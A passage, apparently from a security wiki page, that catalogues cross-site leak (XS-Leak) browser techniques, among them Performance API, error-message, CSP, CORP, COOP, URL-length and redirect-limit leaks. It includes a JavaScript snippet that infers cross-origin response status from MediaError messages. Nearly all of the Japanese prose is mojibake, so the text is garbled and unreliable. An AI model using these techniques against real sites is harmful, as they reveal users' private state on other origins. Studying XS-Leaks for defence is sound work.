- Summary: ãšã©ãŒã«ãªããªã¯ãšã¹ã㯠resource timing ãšã³ããªãäœæããªããããHTTP ã¬ã¹ãã³ã¹ã®ã¹ããŒã¿ã¹ã³ãŒããåºå¥å¯èœã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
ãšã©ãŒãšãªããªã¯ãšã¹ã㯠performance ãšã³ããªãçæããªããããHTTP ã¬ã¹ãã³ã¹ã®ã¹ããŒã¿ã¹ã³ãŒããåºå¥ã§ããŸãã
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ãã©ãŠã¶ã®ãã°ã«ããããšã©ãŒãšãªã£ããªãœãŒã¹ãäºåèªã¿èŸŒãŸããå Žåãããã
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
åè¿°ã®ææ³ã§ã¯ãGC ã®ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ã®ãã°ã«ããèªã¿èŸŒã¿ã«å€±æãããªãœãŒã¹ãäºåºŠèªã¿èŸŒãŸããã±ãŒã¹ãç¹å®ãããŸãããããã«ãã Performance API ã«è€æ°ã®ãšã³ããªãæ®ããæ€åºå¯èœã«ãªããŸãã
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ãšã©ãŒãšãªããªã¯ãšã¹ãã¯ããŒãžã§ããªãã
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
ãã®ææ³ã¯è«æäžã®è¡šã§èŠã€ãããŸãããã詳现説æã¯ãããŸããã§ããããœãŒã¹ã³ãŒãã¯äžèšãªã³ã¯å ã§ç¢ºèªã§ããŸãã
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: 空ã®ã¬ã¹ãã³ã¹ã¯ resource timing ãšã³ããªãäœæããªãã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
空㮠HTTP ã¬ã¹ãã³ã¹ããã£ã®å Žåãäžéšã®ãã©ãŠã¶ã§ã¯ performance ãšã³ããªãçæãããªããããæ»æè ã¯ãããæ€åºã§ããŸãã
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: XSS Auditor ã®ãã£ã«ã¿ãªã³ã°ãèªçºããããã«ãã€ããŒããäœæããå¿çã®å€åã芳å¯ããããšã§ç¹å®ã®èŠçŽ ãæ€åºããææ³ã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Security Assertions (SA) ã«ãããŠãXSS Auditor ã¯æ¬æ¥ XSS ãé²ãããã®æ©èœã§ãããéã«æ å ±ãæŒããã®ã«æªçšããåŸãŸããGoogle Chrome ã§ã¯ãã®æ©èœã¯åé€ãããŠããŸãããSA ã«ã¯æ®ã£ãŠããŸãã2013 幎㫠Braun ãš Heiderich ã XSS Auditor ãæ£åœãªã¹ã¯ãªããããããã¯ããå¯èœæ§ïŒfalse positiveïŒã瀺ããŸããããããåºã«ãç¹å®ã®ã³ã³ãã³ããæ€åºããããã®ææ³ïŒXS-LeaksïŒãéçºãããŸãããSA ã«ãã㊠XSS Auditor ã«ãã£ãŠãããã¯ãããããŒãžã¯ Performance API ã«ãšã³ããªãçæããªãããããããã»ã³ã·ãã£ãæ å ±ãæŒããææ®µãšãªããŸãã
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: X-Frame-Options ããããèšå®ããããªãœãŒã¹ã¯ resource timing ãšã³ããªãçæããªãã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
ããŒãžã iframe ã«ã¬ã³ããªã³ã°ãããããšãèš±å¯ãããŠããªãå Žåãperformance ãšã³ããªãçæãããŸãããããã«ãã X-Frame-Options ãããã®ååšãæ€åºã§ããŸããembed ã¿ã°ã§ãåæ§ã®æåãçºçããŸãã
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ContentDisposition ã«ãããªãœãŒã¹ãããŠã³ããŒãæ±ãã«ãªããš Performance API ã«ãšã³ããªãçæãããªãã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
ContentDisposition ãããã«ãããªãœãŒã¹ãããŠã³ããŒããããå ŽåãPerformance API ã«ãšã³ããªãçæãããªãããšããããŸãããã®ææ³ã¯äž»èŠãã©ãŠã¶ã§æ©èœããŸãã
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: resource timing ãšã³ããªããªãã€ã¬ã¯ãéå§æå»ãæŒããã
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
äžéšãã©ãŠã¶ã®æåãæªçšããã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã§éå°ãªæ
å ±ããã°ã«æ®ãã±ãŒã¹ãèŠã€ãã£ãŠããŸããæšæºã§ã¯ã¯ãã¹ãªãªãžã³ãªãœãŒã¹ã«å¯ŸããŠããã€ãã®å±æ§ããŒãã«ããã¹ããšå®çŸ©ãããŠããŸãããSA ã§ã¯ redirectStart ã¿ã€ãã³ã°ããŒã¿ããã§ãã¯ããããšã§ã¿ãŒã²ããããŒãžããŠãŒã¶ããªãã€ã¬ã¯ããããã©ãããæ€åºã§ããŸãã
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ãªãã€ã¬ã¯ããçºçããå Žåãã¿ã€ãã³ã°ãšã³ããªã® duration ãè² ã®å€ã«ãªãã
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
GC ã§ã¯ãªãã€ã¬ã¯ãã«ããçºçãããªã¯ãšã¹ãã® duration ãè² ã«ãªãããããªãã€ã¬ã¯ãã®æç¡ãåºå¥ã§ããŸãã
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: CORP ãèšå®ããããªãœãŒã¹ã¯ resource timing ãšã³ããªãçæããªãã
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
å Žåã«ãã£ãŠã¯ nextHopProtocol ãšã³ããªãæŒæŽ©ææ®µãšããŠå©çšã§ããŸããGC ã§ã¯ CORP ããããèšå®ãããŠãããš nextHopProtocol ã空ã«ãªããŸããSA ã§ã¯ CORP æå¹ãªãªãœãŒã¹ã«å¯ŸããŠã¯ãããã performance ãšã³ããªãçæãããŸããã
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: ç¹å®ãªãªãžã³ã«å¯Ÿã㊠service worker ãç»é²ãããŠããããæ€åºããææ³ã
- Code Example:
Service worker ã¯ãªãªãžã³ã§å®è¡ãããã€ãã³ãé§åã®ã¹ã¯ãªããã³ã³ããã¹ãã§ããããã¯ã°ã©ãŠã³ãã§åäœãããªãœãŒã¹ãã€ã³ã¿ãŒã»ããã倿Žããã£ãã·ã¥ããŠãªãã©ã€ã³åäœãæäŸããŸãã
service worker ã«ãã£ãŠãã£ãã·ã¥ããããªãœãŒã¹ã iframe çµç±ã§ã¢ã¯ã»ã¹ããããšããã®ãªãœãŒã¹ã¯ service worker ãã£ãã·ã¥ããè¿ãããŸãã
ãã®ãªãœãŒã¹ã service worker ãã£ãã·ã¥ããããŒãããããã©ãã㯠Performance API ã䜿ã£ãŠæ€åºã§ããŸãã
ã¿ã€ãã³ã°æ»æã§ãåæ§ã®æ€åºãå¯èœã§ãïŒè©³çްã¯è«æåç
§ïŒã
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: ãªãœãŒã¹ããã£ãã·ã¥ã«æ ŒçŽãããŠãããã確èªã§ããã
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Performance API ã䜿ã£ãŠãªãœãŒã¹ããã£ãã·ã¥ãããŠãããã©ããã確èªã§ããŸãã
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary:
performanceAPI ãããªã¯ãšã¹ãã®ãããã¯ãŒã¯æéãååŸã§ããã - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: Firefox ã§ã¯ã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã®ã¹ããŒã¿ã¹ã³ãŒããæ£ç¢ºã«æŒæŽ©ãããããšãå¯èœã
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
The MediaError interface ã® message ããããã£ã¯ãæ£åžžã«èªã¿èŸŒãŸãããªãœãŒã¹ãäžæã«èå¥ããæååãè¿ããŸããæ»æè
ã¯ãã®ã¡ãã»ãŒãžå
容ã芳å¯ããããšã§ãã¯ãã¹ãªãªãžã³ã®ãªãœãŒã¹ã®å¿çç¶æ
ãæšæž¬ã§ããŸãã
CORS Error
- æ¿å ¥æ¹æ³: Fetch API
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsinator.com/paper.pdf (5.3)
- æŠèŠ: Security Assertions (SA) ã«ãããŠãCORS ãšã©ãŒã¡ãã»ãŒãžããªãã€ã¬ã¯ãå ã®å®å šãª URL ãæå³ããé²åºããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#CORS%20Error%20Leak
ãã®ææ³ã«ãããæ»æè 㯠WebKit ããŒã¹ã®ãã©ãŠã¶ã CORS ãªã¯ãšã¹ããæ±ãæåãå©çšããŠãã¯ãã¹ãªãªãžã³ãµã€ãã®ãªãã€ã¬ã¯ãå ãæœåºã§ããŸããå ·äœçã«ã¯ããŠãŒã¶ã®ç¶æ ã«å¿ããŠãªãã€ã¬ã¯ããè¡ãã¿ãŒã²ãããµã€ãã«å¯Ÿã㊠CORS 察å¿ã®ãªã¯ãšã¹ããéãããã©ãŠã¶ããã®ãªã¯ãšã¹ããæåŠããå Žåããªãã€ã¬ã¯ãå ã®å®å šãª URL ããšã©ãŒã¡ãã»ãŒãžå ã«é瀺ãããŸãããã®è匱æ§ã¯ãªãã€ã¬ã¯ããååšããäºå®ã ãã§ãªãããªãã€ã¬ã¯ãå ã®ãšã³ããã€ã³ããããã«å«ãŸããå¯èœæ§ã®ããæ©å¯æ§ã®é«ãã¯ãšãªãã©ã¡ãŒã¿ãé²åºããŸãã
SRI Error
- æ¿å ¥æ¹æ³: Fetch API
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsinator.com/paper.pdf (5.3)
- æŠèŠ: Security Assertions (SA) ã«ãããŠãCORS ãšã©ãŒã¡ãã»ãŒãžããªãã€ã¬ã¯ãå ã®å®å šãª URL ãæå³ããé²åºããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#SRI%20Error%20Leak
æ»æè ã¯åé·ãªãšã©ãŒã¡ãã»ãŒãžãæªçšããŠãã¯ãã¹ãªãªãžã³å¿çã®ãµã€ãºãæšæž¬ã§ããŸãããã㯠Subresource Integrity (SRI) ã®ä»çµã¿ã«ãããã®ã§ãintegrity 屿§ã䜿ã£ãŠãCDN çããååŸãããªãœãŒã¹ãæ¹ãããããŠããªãããšãæ€èšŒããŸããSRI ãã¯ãã¹ãªãªãžã³ãªãœãŒã¹ã§æ©èœããã«ã¯ããããã CORS-enabled ã§ããå¿ èŠããããŸããSecurity Assertions (SA) ã«ãããŠãintegrity 屿§ä»ãã® fetch ãªã¯ãšã¹ãã倱æãããšãšã©ãŒã¡ãã»ãŒãžãååŸã§ããå Žåããããæ»æè ã¯æ æã«ä»»æã®ãªã¯ãšã¹ãã«å¯ŸããŠäžæ£ãªããã·ã¥å€ïŒbogus hash valueïŒãèšå®ããŠãã®ãšã©ãŒãèªçºã§ããŸããSA ã§ã¯ããã®çµæã®ãšã©ãŒã¡ãã»ãŒãžãèŠæ±ããããªãœãŒã¹ã®ã³ã³ãã³ãé·ãæå³ããæããããšããããŸãããã®æ å ±æŒæŽ©ã«ãããå¿çãµã€ãºã®å·®ç°ãèå¥ã§ããããé«åºŠãª XS-Leak æ»æã«ã€ãªããå¯èœæ§ããããŸãã
CSP Violation/Detection
- æ¿å ¥æ¹æ³: ãããã¢ãã
- æ€åºã§ããå·®ç°: ã¹ããŒã¿ã¹ã³ãŒã
- 詳现: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- æŠèŠ: æ»æè ã被害è ã®ãµã€ãã®ã¿ã CSP ã«èš±å¯ããŠããå Žåãã¢ã¯ã»ã¹å ãç°ãªããã¡ã€ã³ã«ãªãã€ã¬ã¯ãããããšãããš CSP ãæ€åºå¯èœãªãšã©ãŒãçºçãããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak 㯠CSP ãå©çšããŠãã¯ãã¹ãªãªãžã³ãµã€ããå¥ã®ãªãªãžã³ãžãªãã€ã¬ã¯ãããããæ€åºã§ããŸãããã®ææ³ã¯ãªãã€ã¬ã¯ããæ€åºã§ããã ãã§ãªãããªãã€ã¬ã¯ãå ã®ãã¡ã€ã³ãæŒããå¯èœæ§ããããŸããåºæ¬çãªèãæ¹ã¯ãæ»æè ãµã€ãåŽã§ã¿ãŒã²ãããã¡ã€ã³ãèš±å¯ããŠãããã¿ãŒã²ããã«ãªã¯ãšã¹ããçºè¡ãããšã¿ãŒã²ãããã¯ãã¹ãªãªãžã³ãã¡ã€ã³ãžãªãã€ã¬ã¯ãããŸããCSP ããããžã®ã¢ã¯ã»ã¹ããããã¯ãããšéåã¬ããŒããçæãããããã leak ææ³ãšããŠå©çšãããŸãããã©ãŠã¶ã«ãã£ãŠã¯ããã®ã¬ããŒãããªãã€ã¬ã¯ãå ã®å ŽæãæŒããå ŽåããããŸããçŸä»£ã®ãã©ãŠã¶ã§ã¯éåžžãªãã€ã¬ã¯ãå ã® URL ãŸã§ã¯ç€ºããŸããããã¯ãã¹ãªãªãžã³ãªãã€ã¬ã¯ããçºçããããšèªäœã¯æ€åºã§ããŸãã
Cache
- æ¿å ¥æ¹æ³: ãã¬ãŒã ããããã¢ãã
- æ€åºã§ããå·®ç°: ããŒãžå 容
- 詳现: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- æŠèŠ: ãã£ãã·ã¥ãããã¡ã€ã«ãã¯ãªã¢ããŠãããã¿ãŒã²ããããŒãžãéããŠãã¡ã€ã«ããã£ãã·ã¥ãããŠãããã確èªããã
- ã³ãŒãäŸ:
ãã©ãŠã¶ã¯ãã¹ãŠã®ãµã€ãã§å ±æããããã£ãã·ã¥ã䜿ãããšããããŸãããªãªãžã³ã«é¢ä¿ãªããã¿ãŒã²ããããŒãžãç¹å®ã®ãã¡ã€ã«ãèŠæ±ãããã©ãããæšæž¬ããããšãå¯èœã§ãã
äŸãã°ãããããŒãžããã°ã€ã³ããŠããå Žåã®ã¿ç»åãèªã¿èŸŒããªãããã®ãªãœãŒã¹ãç¡å¹åïŒãã£ãã·ã¥ãããŠããå Žåã¯åé€ïŒããŠããããã®ãªãœãŒã¹ãããŒãããå¯èœæ§ã®ãããªã¯ãšã¹ããå®è¡ããäžæ£ãªãªã¯ãšã¹ãïŒäŸ: éé·ãª referer ããããŒïŒã§åãªãœãŒã¹ãèªã¿èŸŒãããšããŸãããªãœãŒã¹ã®èªã¿èŸŒã¿ã§ãšã©ãŒãçºçããªããã°ãããã¯ãã£ãã·ã¥ããæäŸãããããã§ãã
CSP Directive
- æ¿å ¥æ¹æ³: ãã¬ãŒã
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- æŠèŠ: CSP ããããŒã®ãã£ã¬ã¯ãã£ã㯠iframe ã® CSP 屿§ã䜿ã£ãŠãããŒãã§ããããªã·ãŒã®è©³çްãæããã«ãªãã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome (GC) ã®æ°ããæ©èœã«ãããiframe èŠçŽ ã«å±æ§ãèšå®ã㊠Content Security Policy (CSP) ãææ¡ã§ããããªã·ãŒã®ãã£ã¬ã¯ãã£ãã HTTP ãªã¯ãšã¹ããšå ±ã«éä¿¡ãããŸããéåžžãåã蟌ã¿å ã®ã³ã³ãã³ã㯠HTTP ããããŒã§ãããèš±å¯ããå¿ èŠããããèš±å¯ãããŠããªãå Žåã¯ãšã©ãŒããŒãžã衚瀺ãããŸããããããiframe ãæ¢ã« CSP ã«ãã£ãŠå¶åŸ¡ãããŠãããæ°ããææ¡ãããããªã·ãŒãæ¢åããå¶éçã§ãªãå Žåã¯ããŒãžã¯éåžžéãèªã¿èŸŒãŸããŸãããã®ä»çµã¿ã«ãã£ãŠãæ»æè ã¯ãšã©ãŒããŒãžãç¹å®ããããšã§ã¯ãã¹ãªãªãžã³ããŒãžã®ç¹å®ã® CSP ãã£ã¬ã¯ãã£ããæ€åºã§ããŸããè匱æ§ã¯ä¿®æ£æžã¿ãšãããŠããŸããããæã ã®èª¿æ»ã§ã¯ãšã©ãŒããŒãžãæ€åºã§ããæ°ã㪠leak ææ³ãååšããæ ¹æ¬çãªåé¡ãå®å šã«ã¯è§£æ±ºãããŠããªãã£ãå¯èœæ§ã瀺åããŠããŸãã
CORP
- æ¿å ¥æ¹æ³: Fetch API
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsleaks.dev/docs/attacks/browser-features/corp/
- æŠèŠ: Cross-Origin Resource Policy (CORP) ã§ä¿è·ããããªãœãŒã¹ã¯ãèš±å¯ãããŠããªããªãªãžã³ãã fetch ãããšãšã©ãŒãæããããæ€åºã§ããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#CORP%20Leak
CORP ããããŒã¯æ¯èŒçæ°ãããŠã§ããã©ãããã©ãŒã ã®ã»ãã¥ãªãã£æ©èœã§ãèšå®ããããšäžãããããªãœãŒã¹ã«å¯Ÿãã no-cors ã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãããããã¯ããŸããããããŒã®ååšã¯æ€åºå¯èœã§ãCORP ã§ä¿è·ããããªãœãŒã¹ã¯ fetch ãããšãã«ãšã©ãŒãæããŸãã
CORB
- æ¿å ¥æ¹æ³: HTML èŠçŽ
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- æŠèŠ: CORB ã¯ãªã¯ãšã¹ãå
ã«
nosniffããããŒãååšããããæ€åºãããå Žåãããã - ã³ãŒãäŸ: https://xsinator.com/testing.html#CORB%20Leak
æ»æã®è©³çްã¯ãªã³ã¯ãåç §ããŠãã ããã
CORS error on Origin Reflection misconfiguration
- æ¿å ¥æ¹æ³: Fetch API
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- æŠèŠ: Origin ããããŒã
Access-Control-Allow-Originã«åæ ãããŠããå ŽåããªãœãŒã¹ãæ¢ã«ãã£ãã·ã¥ãããŠããã確èªã§ããã - ã³ãŒãäŸ: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Origin ããããŒã Access-Control-Allow-Origin ããããŒã«åæ ãããå Žåãæ»æè
ã¯ãã®æåãæªçšã㊠CORS ã¢ãŒãã§ãªãœãŒã¹ã fetch ããããšã§ããŸãããããšã©ãŒãçºçããªããã°ãããã¯ãªãœãŒã¹ãæ£ãããããã¯ãŒã¯ããååŸãããããšãæå³ããŸãããšã©ãŒãçºçããå Žåã¯ããã£ãã·ã¥ããã¢ã¯ã»ã¹ãããããã§ãïŒãã£ãã·ã¥ã¯å
ã®ãã¡ã€ã³ãèš±å¯ãã CORS ããããŒãæã€ã¬ã¹ãã³ã¹ãä¿åããŠãããæ»æè
ã®ãã¡ã€ã³ã§ã¯èš±å¯ãããªããããšã©ãŒãåºãïŒã
泚æ: ãªãªãžã³ãåæ ãããã¯ã€ã«ãã«ãŒã (Access-Control-Allow-Origin: *) ã䜿ãããŠããå Žåã¯ãã®æ¹æ³ã¯æ©èœããŸããã
Readable Attributes Technique
Fetch Redirect
- æ¿å ¥æ¹æ³: Fetch API
- æ€åºã§ããå·®ç°: ã¹ããŒã¿ã¹ã³ãŒã
- 詳现: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- æŠèŠ: GC ãš SA ã¯ãªãã€ã¬ã¯ãå®äºåŸã«ã¬ã¹ãã³ã¹ã® type (opaqueredirect) ã確èªã§ããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Fetch API ã§ redirect: "manual" ãªã©ã®ãã©ã¡ãŒã¿ãæå®ããŠãªã¯ãšã¹ããéããšãresponse.type 屿§ãèªã¿åããããã opaqueredirect ãšçãããã確èªããããšã§ããã®ã¬ã¹ãã³ã¹ããªãã€ã¬ã¯ãã§ãã£ãããå€å¥ã§ããŸãã
COOP
- æ¿å ¥æ¹æ³: ãããã¢ãã
- æ€åºã§ããå·®ç°: ããããŒ
- 詳现: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- æŠèŠ: Cross-Origin Opener Policy (COOP) ã§ä¿è·ãããããŒãžã¯ã¯ãã¹ãªãªãžã³ã®çžäºäœçšããã®ã¢ã¯ã»ã¹ãé²ãã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#COOP%20Leak
æ»æè
ã¯ã¯ãã¹ãªãªãžã³ã® HTTP ã¬ã¹ãã³ã¹ã« COOP ããããŒãååšããããæšæž¬ã§ããŸããCOOP ã¯å€éšãµã€ããä»»æã® window åç
§ãååŸããããšã劚ããããã«äœ¿ãããŸãããã®ããããŒã®æç¡ã¯ contentWindow åç
§ã«ã¢ã¯ã»ã¹ã詊ã¿ãããšã§èå¥ã§ããŸããæ¡ä»¶ä»ãã§ COOP ãé©çšãããç¶æ³ã§ã¯ãopener ããããã£ãæåãªææšã«ãªããŸã: COOP ãæå¹ãªå Žå㯠opener 㯠undefined ã«ãªããç¡å¹ãªå Žåã¯å®çŸ©ãããŸãã
URL Max Length - Server Side
- æ¿å ¥æ¹æ³: Fetch APIãHTML èŠçŽ
- æ€åºã§ããå·®ç°: ã¹ããŒã¿ã¹ã³ãŒã / ã³ã³ãã³ã
- 詳现: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- æŠèŠ: ãªãã€ã¬ã¯ãå ã®ã¬ã¹ãã³ã¹é·ã倧ãããããããµãŒãããšã©ãŒã§å¿çãããšã©ãŒã€ãã³ãã§å·®ç°ãæ€åºã§ããå Žåãããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
ãµãŒããµã€ãã®ãªãã€ã¬ã¯ãã«ãŠãŒã¶å ¥åãçµã¿èŸŒãŸãã远å ããŒã¿ãä»äžãããå Žåããã®æåãæ€åºã§ããŸããéåžžãµãŒãã¯ãªã¯ãšã¹ãé·ã«å¶éãããããŠãŒã¶ããŒã¿ããå¶é - 1ãã®é·ãã§ããªãã€ã¬ã¯ãåŽãããã«äœãã远å ãããšãšã©ãŒãåŒãèµ·ãããError Events ãéããŠæ€åºå¯èœã«ãªããŸãã
ãŠãŒã¶ã«å¯ŸããŠã¯ãããŒãèšå®ã§ããå Žåãååãªã¯ãããŒãèšå®ããããšã§ïŒcookie bomb: ../hacking-with-cookies/cookie-bomb.mdïŒãæ£ããã¬ã¹ãã³ã¹ã®ãµã€ãºãå¢å ããŠãšã©ãŒãçºçããããã«ããããšãå¯èœã§ãããã®å Žåãåäžãµã€ããããªã¯ãšã¹ããçºè¡ããã° <script> ãèªåçã«ã¯ãããŒãéä¿¡ããããããšã©ãŒã確èªã§ããŸãã
cookie bomb + XS-Search ã®äŸã¯ãã® writeup ã® Intended solution ã«ãããŸã: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
ãã®çš®ã®æ»æã§ã¯ SameSite=None ãŸãã¯åãã³ã³ããã¹ãã«ããããšãéåžžå¿
èŠã§ãã
URL Max Length - Client Side
- æ¿å ¥æ¹æ³: ãããã¢ãã
- æ€åºã§ããå·®ç°: ã¹ããŒã¿ã¹ã³ãŒã / ã³ã³ãã³ã
- 詳现: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- æŠèŠ: ãªãã€ã¬ã¯ãå ã® URL é·ãã¯ã©ã€ã¢ã³ãåŽã®å¶éãè¶ ãããšå·®ç°ãçºçãããããæ€åºã§ããå Žåãããã
- ã³ãŒãäŸ: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium ããã¥ã¡ã³ãã«ããã°ãChrome ã®æå€§ URL é·ã¯ 2MB ã§ã:
äžè¬ã«ãweb ãã©ãããã©ãŒã èªäœã¯ URL é·ã«å¶éãæããªãïŒãã ã 2^31 ãäžè¬çãªå¶éïŒãChrome ã¯å®çšäžãšããã»ã¹ééä¿¡ã§ã® DoS ãé¿ããããã« URL ãæå€§ 2MB ã«å¶éããã
ãã®ãããããã±ãŒã¹ã§ãªãã€ã¬ã¯ãå
ã® URL ãä»ã®ã±ãŒã¹ããã倧ãããªãããšãããããªãã€ã¬ã¯ãã§ URL ã 2MB ãè¶
ãããšå¶éã«éããŠãChrome 㯠about:blank#blocked ããŒãžã衚瀺ããŸãã
ç®ã«èŠããå·®ç°ã¯ããªãã€ã¬ã¯ããå®äºããŠããå Žå㯠window.origin ãã¯ãã¹ãªãªãžã³ã®ããã¢ã¯ã»ã¹æã«ãšã©ãŒãæããŸããäžæ¹ã§ãå¶éã«éããŠèªã¿èŸŒãŸããããŒãžã about:blank#blocked ã®å Žåã¯ãŠã£ã³ããŠã® origin ã¯èŠªã®ãã®ã®ãŸãŸæ®ããããã¯ã¢ã¯ã»ã¹å¯èœãªæ
å ±ãšãªããŸãã
å¿ èŠãªè¿œå æ å ±ã¯ãåæ URL ã®ããã·ã¥ã«è¿œå ããŠããã°ãªãã€ã¬ã¯ãã§äœ¿çšãããããã2MB ãæºããããŒã¿ãããã·ã¥ã§éã¹ãŸãã
Max Redirects
- æ¿å ¥æ¹æ³: Fetch APIããã¬ãŒã
- æ€åºã§ããå·®ç°: ã¹ããŒã¿ã¹ã³ãŒã
- 詳现: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- æŠèŠ: ãã©ãŠã¶ã®ãªãã€ã¬ã¯ãäžéãå©çšã㊠URL ãªãã€ã¬ã¯ãã®çºçã確èªããã
- ã³ãŒãäŸ: https://xsinator.com/testing.html#Max%20Redirect%20Leak
ãã©ãŠã¶ã远åŸãããªãã€ã¬ã¯ãã®æå€§æ°ã 20 ã®å Žåãæ»æè ã¯èªèº«ã®ããŒãžã 19 åã®ãªãã€ã¬ã¯ãã§èªã¿èŸŒã¿ãæåŸã«è¢«å®³è ããã¹ã察象ããŒãžã«éãããã«ã§ããŸãããšã©ãŒãçºçããã°ããã®ããŒãžã¯è¢«å®³è ããªãã€ã¬ã¯ãããããšããŠããããšãåãããŸãã
History Length
- æ¿å ¥æ¹æ³: ãã¬ãŒã ããããã¢ãã
- æ€åºã§ããå·®ç°: ãªãã€ã¬ã¯ã
- 詳现: https://xsleaks.dev/docs/attacks/navigations/
- æŠèŠ: JavaScript ã«ãããã©ãŠã¶å±¥æŽæäœã¯ length ããããã£ã§åç §å¯èœã
